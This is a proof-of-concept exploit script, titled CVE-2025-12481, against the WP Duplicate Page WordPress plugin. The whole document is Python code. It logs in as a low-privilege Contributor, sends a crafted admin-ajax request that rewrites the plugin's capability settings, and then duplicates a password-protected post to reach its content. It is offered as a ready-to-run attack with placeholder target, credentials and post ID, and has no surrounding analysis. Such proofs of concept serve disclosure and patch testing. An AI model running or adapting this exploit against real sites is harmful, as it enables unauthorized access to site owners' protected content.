CVE-2025-12481

# CVE-2025-12481 PoC - WP Duplicate Page Authorization Bypass # This PoC demonstrates how an authenticated user with Contributor role can modify plugin settings import requests import sys TARGET_URL = "https://vulnerable-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker_password" def get_auth_cookie(): """Login to WordPress and get authentication cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_authorization_bypass(cookies): """Modify plugin settings to gain elevated privileges""" settings_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Craft malicious request to saveSettings function payload = { 'action': 'wdp_save_settings', 'settings': { 'capabilities': { 'administrator': True, 'editor': True, 'author': True, 'contributor': True, # Grant contributor duplicate permission 'subscriber': True } } } headers = { 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } response = requests.post(settings_url, json=payload, cookies=cookies, headers=headers) print(f"Settings modification response: {response.status_code}") print(response.text) return response.status_code == 200 def duplicate_protected_post(cookies, post_id): """Duplicate a password-protected post using elevated privileges""" duplicate_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" payload = { 'action': 'wdp_duplicate_post', 'post_id': post_id, '_ajax_nonce': 'attacker_nonce' # May need valid nonce from page source } response = requests.post(duplicate_url, data=payload, cookies=cookies) print(f"Duplicate request response: {response.status_code}") return response.json() if __name__ == "__main__": print("[*] CVE-2025-12481 WP Duplicate Page Authorization Bypass PoC") print("[*] Target: WP Duplicate Page <= 1.7") # Step 1: Login as low-privileged user print("\n[1] Logging in as Contributor user...") cookies = get_auth_cookie() # Step 2: Exploit authorization bypass print("\n[2] Exploiting authorization bypass to modify settings...") if exploit_authorization_bypass(cookies): print("[+] Settings modified successfully!") # Step 3: Duplicate protected content print("\n[3] Attempting to duplicate password-protected posts...") protected_post_id = 123 # Replace with actual post ID result = duplicate_protected_post(cookies, protected_post_id) print(f"[+] Result: {result}")

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